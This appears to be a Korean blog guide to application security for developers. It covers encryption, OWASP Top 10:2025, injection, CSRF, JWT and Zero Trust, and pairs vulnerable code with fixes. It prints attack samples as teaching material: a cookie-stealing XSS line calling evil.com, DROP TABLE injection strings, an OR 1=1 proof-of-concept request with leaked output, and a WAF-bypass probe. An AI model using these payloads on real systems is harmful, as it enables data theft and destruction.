Skip to content
Published on

개발자를 위한 보안 완전 가이드 — 암호화부터 Zero Trust까지

공유하기
Authors
Security Fundamentals

들어가며

"보안은 보안팀이 하는 거 아닌가요?" — 아닙니다. 코드를 쓰는 모든 개발자가 보안의 첫 번째 방어선입니다.

SQL Injection 하나로 수백만 건의 개인정보가 유출되고, XSS 하나로 사용자 세션이 탈취됩니다. 이 글에서 개발자가 반드시 알아야 할 보안 개념을 총정리합니다.

이 글이 근거로 삼는 문서

보안 글의 가장 흔한 실패 방식은 출처 없는 체크리스트입니다. "SQL Injection은 Prepared Statement로 막는다" 같은 문장은 절반만 맞고, 나머지 절반은 조건에 달려 있습니다. 그래서 인용하는 기준 문서를 먼저 못 박아 두겠습니다.

OWASP 프로젝트 페이지 기준으로 현재 릴리스된 최신판은 OWASP Top 10:2025입니다. 이 글에서 "Top 10"이라고 쓰면 2025판을 가리키며, 2021판을 인용할 때는 그렇다고 명시하겠습니다. 판이 바뀌면 카테고리 이름과 순서가 바뀌므로, 사내 보안 가이드에 "OWASP Top 10 준수"라고만 적혀 있다면 그 문장은 어느 판을 말하는지 알 수 없어 사실상 아무 의미가 없습니다.

OWASP Top 10:2025 (2026-08-16 확인)

A01:2025  Broken Access Control
A02:2025  Security Misconfiguration
A03:2025  Software Supply Chain Failures
A04:2025  Cryptographic Failures
A05:2025  Injection
A06:2025  Insecure Design
A07:2025  Authentication Failures
A08:2025  Software or Data Integrity Failures
A09:2025  Security Logging & Alerting Failures
A10:2025  Mishandling of Exceptional Conditions

이 글 아래쪽에서 다루는 취약점은 이 표에 이렇게 대응됩니다. SQL Injection과 XSS는 둘 다 A05:2025 Injection입니다. XSS를 별도 종류로 기억하고 있었다면 조정이 필요합니다. A05 카테고리 문서는 인젝션을 신뢰할 수 없는 사용자 입력이 인터프리터(브라우저, 데이터베이스, 커맨드라인 등)로 전달되어 그 입력의 일부가 명령으로 실행되는 결함으로 정의하고, XSS(CWE-79)를 매핑된 CWE 목록에 포함합니다. IDOR은 A01:2025 Broken Access Control에 속하며, 해당 문서는 고유 식별자를 넘겨서 다른 사람의 계정을 조회하거나 수정할 수 있게 하는 것을 실패 사례로 명시합니다.

프로토콜 수준의 주장은 명세를 직접 확인했습니다. 쿠키의 SameSite 속성은 IETF 쿠키 명세 초안에서 정의됩니다. Zero Trust는 NIST SP 800-207 "Zero Trust Architecture"(2020년 8월 발행)를 기준 문서로 삼습니다. 확인한 URL은 마지막 참고 자료 절에 전부 적어 두었습니다.

한 가지를 미리 말해 둡니다. 이 글에 나오는 파라미터 값은 전부 위 문서에서 실제로 읽은 값이고, 읽지 못한 값은 "문서에서 확인하세요"라고 적었습니다. 보안 글에서 기억에 의존해 숫자를 적는 것은 그 자체가 취약점입니다.

Part 1: 암호화 (Cryptography)

대칭키 암호화 (AES)

from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

# === Fernet (간단한 대칭키) ===
key = Fernet.generate_key()
f = Fernet(key)

plaintext = b"Hello, Security!"
ciphertext = f.encrypt(plaintext)
decrypted = f.decrypt(ciphertext)
assert decrypted == plaintext  # ✅

# === AES-256-GCM (실무 표준) ===
key = AESGCM.generate_key(bit_length=256)
aesgcm = AESGCM(key)
nonce = os.urandom(12)  # 96-bit nonce (매번 새로!)

# 암호화 + 인증 (AEAD: Authenticated Encryption with Associated Data)
ct = aesgcm.encrypt(nonce, b"sensitive data", b"metadata")
pt = aesgcm.decrypt(nonce, ct, b"metadata")  # 복호화 + 무결성 검증
대칭키: 같은 키로 암호화/복호화
장점: 빠름 (AES-256: ~1 GB/s)
단점: 키 전달 문제 (어떻게 안전하게 키를 공유?)
용도: 데이터 암호화, 디스크 암호화, TLS 데이터 전송

비대칭키 암호화 (RSA, ECDSA)

from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

# 키 쌍 생성
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048
)
public_key = private_key.public_key()

# 암호화 (공개키로)
message = b"Secret message"
ciphertext = public_key.encrypt(
    message,
    padding.OAEP(
        mgf=padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)

# 복호화 (개인키로)
plaintext = private_key.decrypt(ciphertext, padding.OAEP(
    mgf=padding.MGF1(algorithm=hashes.SHA256()),
    algorithm=hashes.SHA256(),
    label=None
))
assert plaintext == message  # ✅
비대칭키: 공개키(암호화) + 개인키(복호화)
장점: 키 교환 문제 해결 (공개키는 공개해도 OK)
단점: 느림 (RSA: ~1 KB/s, AES 대비 1000x 느림)
용도: TLS 키 교환, 전자 서명, SSH 인증

해싱 (Hashing) — 비밀번호 저장

import hashlib
import bcrypt

# ❌ 절대 하면 안 되는 것: 평문 저장
password = "mypassword123"

# ❌ 단순 해시 (레인보우 테이블 공격에 취약)
md5_hash = hashlib.md5(password.encode()).hexdigest()
sha256_hash = hashlib.sha256(password.encode()).hexdigest()

# ✅ bcrypt (솔트 + 느린 해싱 = 안전!)
salt = bcrypt.gensalt(rounds=12)  # 솔트 생성 (2^12 반복)
hashed = bcrypt.hashpw(password.encode(), salt)

# 검증
is_valid = bcrypt.checkpw(password.encode(), hashed)
print(f"비밀번호 일치: {is_valid}")  # True

# bcrypt가 안전한 이유:
# 1. 솔트: 같은 비밀번호도 다른 해시 → 레인보우 테이블 무력화
# 2. 느림: 의도적으로 느려서 브루트포스 방어 (GPU 공격 방어)
# 3. rounds 조절: 하드웨어 발전에 맞춰 난이도 증가

TLS 핸드셰이크 (HTTPS)

[Client]                          [Server]
    │                                │
    │── ClientHello ────────────────▶│  지원 암호 스위트 목록
    │                                │
    │◀── ServerHello + 인증서 ───────│  선택된 암호 + 서버 인증서
    │                                │
    │  서버 인증서 검증 (CA 체인)    │                                │
    │── Key Exchange ───────────────▶│  ECDHE 공개값
    │◀── Key Exchange ───────────────│  서버 ECDHE 공개값
    │                                │
    ╔════════════════════════════════╗
    ║  양쪽 모두 같은 대칭키 도출!      (Diffie-Hellman)    ╚════════════════════════════════╝
    │                                │
    │◄══ AES-256-GCM 암호화 통신 ══▶│

Part 2: 웹 보안 (OWASP Top 10)

SQL Injection

# ❌ 위험한 코드
username = "admin'; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE username = '{username}'"
# → SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'
# → 테이블 삭제!

# ✅ 파라미터 바인딩 (Prepared Statement)
cursor.execute(
    "SELECT * FROM users WHERE username = %s",
    (username,)  # 입력을 데이터로만 취급, SQL로 해석 안 함
)

# ✅ ORM 사용 (SQLAlchemy, Django ORM)
user = User.query.filter_by(username=username).first()

XSS (Cross-Site Scripting)

# ❌ 위험한 코드 (사용자 입력을 그대로 출력)
comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'

# HTML에 그대로 삽입하면:
html = f"<div>{comment}</div>"
# → 쿠키 탈취!

# ✅ HTML 이스케이프
from markupsafe import escape
safe_html = f"<div>{escape(comment)}</div>"
# → &lt;script&gt;... (실행 안 됨)

# ✅ CSP (Content Security Policy) 헤더
# Content-Security-Policy: script-src 'self'; object-src 'none';

CSRF (Cross-Site Request Forgery)

# 공격: 사용자가 로그인 상태에서 악성 사이트 방문
# 악성 사이트에 숨겨진 폼이 자동으로 은행 이체 요청!

# ✅ CSRF 토큰 방어
from flask import Flask, session
import secrets

app = Flask(__name__)

@app.route('/transfer', methods=['POST'])
def transfer():
    # 토큰 검증
    if request.form['csrf_token'] != session['csrf_token']:
        abort(403)  # CSRF 공격 차단!

    # 정상 처리
    process_transfer(request.form)

# ✅ SameSite 쿠키
# Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly

인증/인가 취약점

# ❌ IDOR (Insecure Direct Object Reference)
@app.route('/api/users/<user_id>/profile')
def get_profile(user_id):
    return User.query.get(user_id).to_dict()
    # user_id를 바꾸면 다른 사람 정보 조회 가능!

# ✅ 권한 검증 추가
@app.route('/api/users/<user_id>/profile')
@login_required
def get_profile(user_id):
    if current_user.id != int(user_id) and not current_user.is_admin:
        abort(403)  # 권한 없음!
    return User.query.get(user_id).to_dict()

방어책마다 붙는 조건

"X를 쓰세요"로 끝나는 문장은 대개 절반이 잘려 있습니다. 모든 방어책에는 성립하는 조건과 무너지는 조건이 있고, 조건을 모르는 상태에서 적용한 방어책은 방어됐다는 착각만 남깁니다. 앞의 Part 2에서 소개한 방어책 각각에 그 조건을 붙여 보겠습니다.

파라미터 바인딩이 막는 것과 막지 못하는 것

파라미터 바인딩은 값이 들어가는 자리를 보호합니다. 드라이버가 쿼리 텍스트와 데이터를 분리해 보내므로, 그 자리의 입력은 SQL 문법으로 해석되지 않습니다. 앞의 예제에서 사용자 이름이 아무리 험악해도 안전한 이유가 이것입니다.

무너지는 조건은 명확합니다. 바인드 변수를 쓸 수 없는 자리가 있습니다. OWASP SQL Injection Prevention Cheat Sheet는 테이블 이름, 컬럼 이름, 정렬 순서 지시자(ASC 또는 DESC)를 그 예로 명시하고, 이런 부분에는 입력 검증이나 쿼리 재설계가 가장 적절한 방어라고 적습니다. 구체적인 방법으로는 사용자 입력을 미리 정해 둔 합법적인 테이블/컬럼 이름으로 매핑하라고 권합니다. 즉 허용 목록입니다.

같은 문서는 1차 방어를 순서대로 나열합니다. Prepared Statements(파라미터화된 쿼리), Stored Procedures, Allow-list 입력 검증, 그리고 사용자 입력 이스케이핑입니다. 마지막 항목에는 강하게 권장하지 않는다는 단서가 붙어 있습니다. 이스케이핑을 1차 방어로 쓰고 있다면 그 자체가 점검 대상이라는 뜻입니다.

# ORDER BY 자리는 바인딩할 수 없다 → 허용 목록으로 매핑한다
SORT_COLUMNS = {
    "created": "created_at",
    "amount": "total_amount",
    "status": "status",
}
SORT_DIRECTIONS = {"asc": "ASC", "desc": "DESC"}


def list_orders(customer_id: str, sort: str, direction: str):
    # 사용자 입력은 키로만 쓰인다. 값은 우리가 쓴 상수다.
    column = SORT_COLUMNS.get(sort)
    order = SORT_DIRECTIONS.get(direction)
    if column is None or order is None:
        raise ValueError("정렬 조건이 올바르지 않습니다")

    # 값 자리는 바인딩, 식별자 자리는 허용 목록에서 온 상수
    sql = f"SELECT * FROM orders WHERE customer_id = %s ORDER BY {column} {order}"
    cursor.execute(sql, (customer_id,))
    return cursor.fetchall()

이 코드에서 사용자 입력이 SQL 텍스트에 직접 들어가는 경로가 없다는 점을 확인해 주십시오. 입력은 딕셔너리의 키로만 쓰이고, 실제 SQL에 들어가는 문자열은 전부 우리가 소스에 적은 상수입니다. 허용 목록 방식이 안전한 이유는 "위험한 문자를 걸러서"가 아니라 "사용자 입력이 애초에 쿼리 텍스트가 되지 않아서"입니다.

출력 인코딩은 컨텍스트마다 다릅니다

XSS 방어에서 가장 자주 잘리는 절반이 이것입니다. OWASP Cross Site Scripting Prevention Cheat Sheet의 Output Encoding Rules Summary는 컨텍스트마다 다른 인코딩을 지정합니다.

HTML 본문       HTML 엔티티 인코딩
                &&amp;   <&lt;   >&gt;   " → &quot;   ' → &#x27;

HTML 속성       모든 문자를 &#xHH; 형식으로 인코딩 (공백 포함)
                HH 는 해당 문자의 유니코드 16진수 값

JavaScript      모든 문자를 \uXXXX 유니코드 형식으로 인코딩
                XXXX 는 유니코드 코드 포인트의 16진수 값

URL             W3C 명세의 표준 퍼센트 인코딩으로 파라미터 값을 인코딩

CSS             \XX 와 \XXXXXX 두 형식을 지원 (공백 또는 0 패딩 고려)

그래서 "HTML 이스케이프했으니 안전하다"는 문장은 HTML 본문 컨텍스트에서만 참입니다. 같은 값이 스크립트 블록 안이나 속성 값 안, 또는 URL 자리로 옮겨 가면 다른 인코딩이 필요합니다. 같은 문서는 JavaScript 컨텍스트에서 변수를 놓을 수 있는 유일하게 안전한 위치는 따옴표로 감싼 데이터 값 안이며 나머지 컨텍스트는 모두 안전하지 않다고 못 박습니다.

더 중요한 것은 같은 문서가 출력 인코딩이 완벽하지 않으며 XSS를 항상 막아 주지는 않는다고 명시한다는 점입니다. 문서는 스크립트 태그 안, CSS, 자바스크립트 이벤트 핸들러를 위험한 컨텍스트로 분류합니다. 사용자 입력이 이런 자리에 들어가야 한다면 인코딩을 고민하기 전에 설계를 바꾸는 쪽이 맞습니다.

프레임워크를 쓴다고 자동으로 안전해지지도 않습니다. 같은 문서는 React의 dangerouslySetInnerHTML을 새니타이즈 없이 쓰는 것처럼 프레임워크를 안전하지 않게 사용할 때 문제가 생길 수 있다고 지적합니다. 프레임워크의 기본 이스케이프는 기본 경로에만 적용되고, 탈출구는 이름 그대로 탈출구입니다.

CSRF 토큰과 SameSite 쿠키는 대체 관계가 아닙니다

동기화 토큰 패턴은 하나의 전제 위에 서 있습니다. 공격자가 그 토큰을 교차 출처에서 읽을 수 없어야 한다는 것입니다. OWASP Cross-Site Request Forgery Prevention Cheat Sheet는 히든 폼 필드보다 커스텀 HTTP 요청 헤더에 토큰을 넣는 쪽이 더 안전하다고 하는데, 커스텀 헤더가 붙은 요청은 자동으로 동일 출처 정책의 적용을 받기 때문입니다.

# 서버가 내려주는 쿠키 (심층 방어 계층)
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly

# SameSite=None 을 쓰려면 Secure필수 (명세가 그렇게 규정)
Set-Cookie: session=abc; SameSite=None; Secure; HttpOnly

# 실제 CSRF 방어는 여기 (커스텀 헤더 + 서버 측 검증)
POST /transfer HTTP/1.1
X-CSRF-Token: 8f2c...   ← 자바스크립트가 넣는다. 교차 출처에서는 붙일 수 없다

같은 치트시트의 가장 중요한 문장은 이것입니다. SameSite는 심층 방어 통제로 유용하지만 대부분의 배포 환경에서 제대로 된 CSRF 방어를 대체하지는 못합니다. 즉 SameSite를 켰으니 토큰을 빼도 된다는 결론은 문서가 지지하지 않습니다.

브라우저 기본값도 가정하면 안 됩니다. 같은 문서는 Chrome이 2020년에 SameSite=Lax를 기본 동작으로 구현했고 Firefox와 Edge가 뒤따랐다고 적으면서도, 구형 브라우저 사용자는 SameSite 값이 설정되지 않은 것처럼 동작하는 쿠키를 받을 수 있다고 경고합니다. 방어를 브라우저 기본값에 얹으면, 방어 여부가 사용자의 브라우저 버전에 좌우됩니다.

명세 쪽도 확인했습니다. IETF 쿠키 명세 초안(draft-ietf-httpbis-rfc6265bis-22, Internet-Draft, 2025년 12월 1일 공개)은 SameSite 속성이 쿠키를 same-site 요청에만 붙이도록 범위를 제한한다고 정의하고, Strict는 same-site 요청에만, Lax는 same-site 요청과 교차 사이트 최상위 내비게이션에, None은 양쪽 모두에 전송된다고 규정합니다. 세 키워드가 아닌 값이 오면 Lax에 해당하는 기본 시행 모드가 적용됩니다. SameSite=None인 쿠키는 secure-only-flag가 참이 아니면 쿠키 자체를 무시하도록 되어 있습니다. 그리고 같은 문서는 Lax 시행이 POST 같은 unsafe 메서드에 의존하는 CSRF에 대해 합리적인 심층 방어를 제공하지만 CSRF라는 공격 범주 전반에 대한 견고한 방어는 아니라고 명시합니다.

흔히 쓰이는 double submit cookie 패턴에 대해서도 치트시트는 단호합니다. 순진한 형태의 double submit은 쿠키 주입 공격에 취약하며, 특히 공격자가 서브도메인을 통제하거나 쿠키를 심을 수 있는 네트워크 환경에서 그렇다고 적습니다.

마지막으로 같은 문서가 대문자로 강조하는 문장이 있습니다. XSS는 모든 CSRF 완화 기법을 무력화할 수 있습니다. XSS가 남아 있는 상태에서 CSRF 토큰 방식을 두고 논쟁하는 것은 순서가 틀린 것입니다.

비밀번호 해싱: 알고리즘 계열과 파라미터

OWASP Password Storage Cheat Sheet가 실제로 권장하는 값을 그대로 옮깁니다. 아래 숫자는 전부 그 문서에서 읽은 것이며, 문서가 갱신되면 바뀝니다.

# 1순위: Argon2id
#   최소 구성 — 메모리 19 MiB, 반복 횟수(iteration) 2, 병렬성(parallelism) 1
#   문서가 제시하는 동등한 보안 수준의 대안 조합:
#     m=47104 (46 MiB), t=1, p=1
#     m=19456 (19 MiB), t=2, p=1
#     m=12288 (12 MiB), t=3, p=1
#     m=9216  ( 9 MiB), t=4, p=1
#     m=7168  ( 7 MiB), t=5, p=1

# 2순위: scrypt (Argon2id를 쓸 수 없을 때)
#   최소 CPU/메모리 비용 파라미터 2^17, 최소 블록 크기 8 (1024바이트), 병렬화 1

# 레거시 시스템: bcrypt
#   work factor 10 이상, 비밀번호 길이 제한 72바이트

# FIPS-140 준수가 필요할 때: PBKDF2
#   work factor 600,000 이상, 내부 해시 함수는 HMAC-SHA-256

솔트에 대해서는 비밀번호마다 고유하게 무작위로 생성되어야 한다고 명시되어 있습니다. 다만 이번에 읽은 페이지에서 솔트의 바이트 길이 권장값은 확인하지 못했습니다. 권장 파라미터는 OWASP Password Storage Cheat Sheet의 최신 값을 확인하세요. 페퍼에 대해서는 심층 방어 차원에서 고려해 볼 만하지만 그것만으로는 추가적인 보안 특성을 제공하지 않는다고 적혀 있습니다.

앞 절의 예제에 있는 bcrypt rounds 값은 위 기준(work factor 10 이상)을 만족합니다. 하지만 같은 문서가 bcrypt를 레거시 시스템용으로 분류한다는 점을 함께 봐야 합니다. 새로 만드는 시스템이라면 Argon2id가 1순위입니다. 그리고 bcrypt의 72바이트 제한은 실제로 사고를 냅니다. 긴 패스프레이즈를 권장하면서 bcrypt를 쓰면 72바이트 뒤는 조용히 무시되고, 사용자는 그 사실을 알 수 없습니다.

이 값들은 하드웨어가 빨라지면 올라갑니다. 코드에 상수로 박아 두지 말고 설정으로 빼두고, 로그인 시점에 저장된 해시의 파라미터가 현재 기준보다 낮으면 검증 성공 직후 새 파라미터로 다시 해싱해 저장하는 경로를 만들어 두면 나중에 전체 마이그레이션을 하지 않아도 됩니다.

취약한 엔드포인트 하나를 고쳐 보기

지금까지의 조건을 실제 코드 하나에 적용해 보겠습니다. 주문 검색 엔드포인트이고, 두 가지가 동시에 잘못돼 있습니다. 검색어가 값 자리에 문자열로 붙어 있고, 정렬 컬럼이 식별자 자리에 문자열로 붙어 있습니다. 아래 페이로드는 취약 여부를 확인하기 위한 무해한 개념 증명이며, 자신이 권한을 가진 환경에서만 시도해야 합니다.

# ❌ 취약한 버전 — Flask + psycopg2
@app.route("/api/orders")
@login_required
def search_orders():
    q = request.args.get("q", "")
    sort = request.args.get("sort", "created_at")

    sql = (
        "SELECT id, customer_id, total_amount, status, created_at "
        "FROM orders "
        f"WHERE customer_id = '{current_user.id}' AND memo LIKE '%{q}%' "
        f"ORDER BY {sort} DESC LIMIT 50"
    )
    cursor.execute(sql)
    return jsonify([dict(zip(COLUMNS, row)) for row in cursor.fetchall()])

공격은 한 줄이면 충분합니다. q 값으로 작은따옴표를 하나 넣어 문자열 리터럴을 닫고 항상 참인 조건을 붙이면, customer_id 조건까지 무력화됩니다.

GET /api/orders?q=%25%27%20OR%201%3D1%20--%20 HTTP/1.1
Host: shop.example.com
Cookie: session=<본인의 정상 세션>

# 디코딩하면 q = %' OR 1=1 --
# 서버가 만드는 SQL:
#   ... WHERE customer_id = 'u-1042' AND memo LIKE '%%' OR 1=1 -- %' ORDER BY ...
# AND 보다 OR 가 뒤에 붙으면서 조건 전체가 참이 된다

HTTP/1.1 200 OK
Content-Type: application/json

[{"id":"o-1","customer_id":"u-0001", ...},   ← 남의 주문
 {"id":"o-2","customer_id":"u-0002", ...},
 ... 50건 ...]

여기서 두 가지를 동시에 확인할 수 있습니다. 이것은 A05:2025 Injection이면서, 결과적으로 다른 사용자의 데이터가 노출되었으므로 A01:2025 Broken Access Control의 영향 범위이기도 합니다. 인젝션 하나가 접근 통제를 통째로 우회하는 전형적인 형태입니다.

수정은 두 곳을 서로 다른 방식으로 고칩니다. 값은 바인딩, 식별자는 허용 목록입니다.

# ✅ 수정한 버전
SORT_COLUMNS = {
    "created": "created_at",
    "amount": "total_amount",
    "status": "status",
}


@app.route("/api/orders")
@login_required
def search_orders():
    q = request.args.get("q", "")
    sort_key = request.args.get("sort", "created")

    column = SORT_COLUMNS.get(sort_key)
    if column is None:
        return jsonify({"error": "unsupported sort key"}), 400

    sql = (
        "SELECT id, customer_id, total_amount, status, created_at "
        "FROM orders "
        "WHERE customer_id = %s AND memo LIKE %s "
        f"ORDER BY {column} DESC LIMIT 50"
    )
    # customer_id 는 요청이 아니라 세션에서 가져온다 (A01 대응)
    cursor.execute(sql, (current_user.id, f"%{q}%"))
    return jsonify([dict(zip(COLUMNS, row)) for row in cursor.fetchall()])

같은 요청을 수정본에 다시 던져 봅니다.

GET /api/orders?q=%25%27%20OR%201%3D1%20--%20 HTTP/1.1
Host: shop.example.com
Cookie: session=<본인의 정상 세션>

HTTP/1.1 200 OK
Content-Type: application/json

[]
# 페이로드 전체가 LIKE 패턴 문자열로만 취급된다.
# "%' OR 1=1 --" 라는 문자열이 memo 에 들어 있는 주문이 없으므로 빈 배열.

GET /api/orders?sort=created_at;DROP%20TABLE%20orders HTTP/1.1

HTTP/1.1 400 Bad Request
{"error":"unsupported sort key"}
# 허용 목록에 없는 키는 SQL 근처에도 가지 않는다.

수정 전후를 가르는 것은 "위험한 문자를 걸러 냈는가"가 아닙니다. 사용자 입력이 SQL 텍스트가 될 수 있는 경로가 남아 있는가입니다. 이 질문 하나로 코드 리뷰에서 대부분의 인젝션을 잡을 수 있습니다.

Part 3: Zero Trust 아키텍처

전통 보안: "성벽 안은 안전" (Castle & Moat)
  [인터넷] ──[방화벽]── [내부 네트워크: 모두 신뢰]
  → 내부 침입 시 무방비!

Zero Trust: "아무도 믿지 않는다"
  [모든 요청][인증][인가][암호화][모니터링]
  → 내부든 외부든 매번 검증!

Zero Trust 원칙

1. Verify Explicitly (명시적 검증)
   → 모든 요청에 인증 + 인가 (위치/네트워크 무관)

2. Least Privilege (최소 권한)
   → 필요한 것만, 필요한 시간만 접근 허용
JIT (Just-In-Time) 권한 부여

3. Assume Breach (침해 가정)
   → 이미 뚫렸다고 가정하고 설계
   → 마이크로 세그멘테이션, 암호화, 모니터링
# Kubernetes Zero Trust: NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: api-policy
spec:
  podSelector:
    matchLabels:
      app: api-server
  policyTypes:
    - Ingress
    - Egress
  ingress:
    - from:
        - podSelector:
            matchLabels:
              app: frontend # 프론트엔드에서만 접근 허용
      ports:
        - port: 8080
  egress:
    - to:
        - podSelector:
            matchLabels:
              app: database # DB에만 접근 허용
      ports:
        - port: 5432
  # 나머지 모든 트래픽: 차단!

보안 체크리스트

[인증/인가]
✅ bcrypt/Argon2로 비밀번호 해싱 (SHA256 단독 사용 금지)
JWT 서명 검증 + 만료 시간 설정
OAuth 2.0 PKCE (SPA/모바일)
MFA (다중 인증) 도입
Rate Limiting (브루트포스 방어)

[입력 검증]
SQL Injection: Prepared Statement / ORM
XSS: HTML 이스케이프 + CSP 헤더
CSRF: SameSite 쿠키 + CSRF 토큰
Path Traversal: 파일명 검증
SSRF: 내부 IP 차단

[통신/저장]
HTTPS 필수 (TLS 1.3)
HSTS 헤더
✅ 민감 데이터 암호화 (AES-256-GCM)
✅ 시크릿 관리: Vault / AWS Secrets Manager
✅ 로그에 비밀번호/토큰 절대 기록 금지

[인프라]
Zero Trust 네트워크
✅ 컨테이너 이미지 스캔 (Trivy)
✅ 의존성 취약점 스캔 (Dependabot)
WAF (Web Application Firewall)
✅ 침입 탐지/모니터링

실패 사례와 함정

WAF 룰만 추가하고 코드는 그대로

증상부터 말하면 이렇습니다. 스캐너 리포트의 경고가 사라졌고 대시보드에는 차단 건수가 찍힙니다. 그런데 취약한 코드는 한 줄도 바뀌지 않았고, 티켓은 완료로 닫혔습니다.

진단은 이 순서로 합니다. 첫째, WAF를 지나지 않는 경로로 같은 요청을 보냅니다. 서비스 간 내부 호출, 별도 도메인의 관리자 포털, 배치 잡, 로드밸런서 뒤 오리진에 직접 닿는 경로가 있는지 확인합니다. 둘째, 페이로드의 인코딩과 파라미터 위치를 바꿔 봅니다. 같은 의미의 요청이 다른 표현으로 통과한다면 룰이 막고 있는 것은 취약점이 아니라 특정 문자열 패턴입니다. 셋째, 저장소에서 원래 취약했던 라인이 그대로인지 확인합니다.

# 1) WAF 를 지나는 경로
GET /api/orders?q=...  HTTP/1.1
Host: shop.example.com               → 403 (차단됨)

# 2) 오리진에 직접 (내부망, 스테이징 도메인, 관리자 호스트 등)
GET /api/orders?q=...  HTTP/1.1
Host: origin-1.internal:8080         → 200 (그대로 취약)

# 두 응답이 다르면, 막고 있던 것은 "그 경로를 지나는 요청" 뿐이고
# 취약점 자체는 코드에 남아 있다는 뜻이다.

처방은 단순합니다. WAF는 수정이 배포될 때까지 시간을 버는 보완 통제로 다루고, 티켓 상태를 "WAF 룰 적용"과 "코드 수정" 두 줄로 분리해 관리하는 것입니다. WAF가 쓸모없다는 말이 아닙니다. 다만 룰이 요청의 표현을 막는 동안 취약점은 코드에 그대로 남아 있고, 우회 경로는 대체로 존재합니다.

해시는 했는데 솔트가 전역 상수

증상은 데이터베이스에서 바로 보입니다. 비밀번호 해시 컬럼을 그룹으로 묶으면 같은 값이 여러 계정에 나타납니다. 코드에는 모듈 상수로 선언된 솔트가 하나 있고 모든 해시가 그 값을 씁니다.

진단은 쿼리 한 줄로 시작합니다. 중복 해시가 하나라도 나오면 솔트가 계정마다 다르지 않다는 뜻입니다. 그다음 코드에서 솔트 생성 호출이 요청마다 실행되는지 모듈 로드 시점에 한 번만 실행되는지 확인하고, 마지막으로 저장된 해시 문자열 안에 알고리즘과 파라미터, 솔트가 함께 들어 있는지 봅니다.

-- 중복 해시가 나오면 솔트가 비밀번호마다 고유하지 않다는 신호
SELECT password_hash, COUNT(*) AS accounts
FROM   users
GROUP  BY password_hash
HAVING COUNT(*) > 1
ORDER  BY accounts DESC
LIMIT  20;

처방의 핵심은 솔트를 직접 다루지 않는 것입니다. OWASP Password Storage Cheat Sheet는 솔트가 비밀번호마다 고유하게 무작위로 생성되어야 한다고 명시합니다. Argon2id나 bcrypt 같은 비밀번호 해싱 함수는 솔트를 스스로 생성해 결과 문자열에 알고리즘, 파라미터와 함께 담습니다. 코드에 솔트 상수가 보인다면 그 자체가 잘못된 계층에서 일하고 있다는 신호입니다.

전역 솔트를 페퍼라고 부르는 경우도 있는데, 둘은 다릅니다. 페퍼는 데이터베이스 바깥, 예를 들어 키 관리 시스템에 보관되는 별도의 비밀입니다. 같은 문서도 페퍼는 심층 방어로 고려해 볼 만하지만 그것만으로는 추가적인 보안 특성을 제공하지 않는다고 적습니다. 데이터베이스에 함께 저장되는 상수는 페퍼도 솔트도 아닙니다.

JWT를 세션처럼 쓰는데 폐기 경로가 없음

증상은 로그아웃 이후에 드러납니다. 로그아웃을 눌렀는데 직전에 발급된 토큰으로 보호된 엔드포인트가 계속 호출됩니다. 비밀번호를 바꿔도, 계정을 정지시켜도 마찬가지입니다. 만료 시간이 지나야 끝납니다.

진단은 세 단계입니다. 첫째, 로그아웃한 뒤 직전 토큰으로 보호된 API를 호출합니다. 200이 나오면 확정입니다. 둘째, 서버에 무효화된 토큰을 기록하는 저장소가 있는지 확인합니다. 없으면 폐기 경로가 없는 것입니다. 셋째, 토큰 검증 코드가 허용할 알고리즘을 명시적으로 고정하는지 봅니다.

OWASP JSON Web Token Cheat Sheet는 이 문제를 정면으로 다룹니다. JWT는 무상태 사용자 세션용으로 자주 제안되지만, 사용자 세션에 JWT를 쓴다면 세션 무효화를 관리할 방법이 필요하며 이는 폐기된 세션과 토큰의 거부 목록으로 달성할 수 있다고 적습니다. 발급자 측에서 확장성 있게 폐기하는 방법으로는 Token Status List를 언급합니다. 정리하면 무상태라는 장점은 폐기가 필요 없을 때만 유지되고, 로그아웃이 필요해지는 순간 서버 측 상태가 다시 들어옵니다. 그 사실을 인정하고 설계하는 편이 낫습니다.

같은 문서는 서명 검증 쪽 함정도 짚습니다. 일부 JWT 라이브러리는 과거에 서명되지 않은 토큰, 즉 alg 값이 none인 토큰을 기본으로 허용했고 그 경우 공격자가 스스로 토큰을 위조할 수 있었습니다. 또 일부 구현은 공개키 서명 검증용으로 의도된 공개키를 MAC 검증용 비밀키인 것처럼 받아들이기도 했습니다. 검증할 때 알고리즘을 라이브러리 판단에 맡기지 말고 허용 목록으로 고정해야 하는 이유입니다.

# 검증 시 알고리즘을 고정하고, 폐기 목록을 함께 확인한다
import jwt   # PyJWT

def verify(token: str) -> dict:
    claims = jwt.decode(
        token,
        PUBLIC_KEY,
        algorithms=["RS256"],      # 토큰의 alg 헤더를 믿지 않는다
        options={"require": ["exp", "jti", "sub"]},
    )
    if revoked_store.contains(claims["jti"]):   # 폐기 목록 조회
        raise PermissionError("revoked token")
    return claims


def logout(token_claims: dict) -> None:
    # 남은 유효기간 동안만 보관하면 되므로 저장소가 무한정 커지지 않는다
    ttl = token_claims["exp"] - int(time.time())
    revoked_store.add(token_claims["jti"], ttl_seconds=max(ttl, 0))

폐기 목록이 있으면 완전한 무상태는 아닙니다. 다만 저장소에 담기는 것은 만료 전까지의 토큰 식별자뿐이므로, 전체 세션을 서버에 들고 있는 것보다는 훨씬 가볍습니다. 트레이드오프를 없앨 수는 없고, 어느 쪽 비용을 낼지 고르는 문제입니다.

언제 쓰지 않나 / 이 글의 한계

이 글은 개발자용 오리엔테이션이지 위협 모델이 아닙니다. 이 차이는 형식적인 것이 아닙니다.

통제는 무엇을 누구로부터 지키는지 모르면 값을 매길 수 없습니다. 같은 XSS라도 사내 위키에서는 성가신 버그이고, 결제 화면에서는 사고입니다. 반대로 공개 문서 사이트에 다중 인증과 마이크로 세그멘테이션을 붙이는 것은 예산과 사용성을 태우는 일입니다. 순서는 항상 자산 식별과 위협 식별이 먼저이고 통제가 나중입니다. 이 글은 그 순서 중 뒤쪽 절반만 다룹니다.

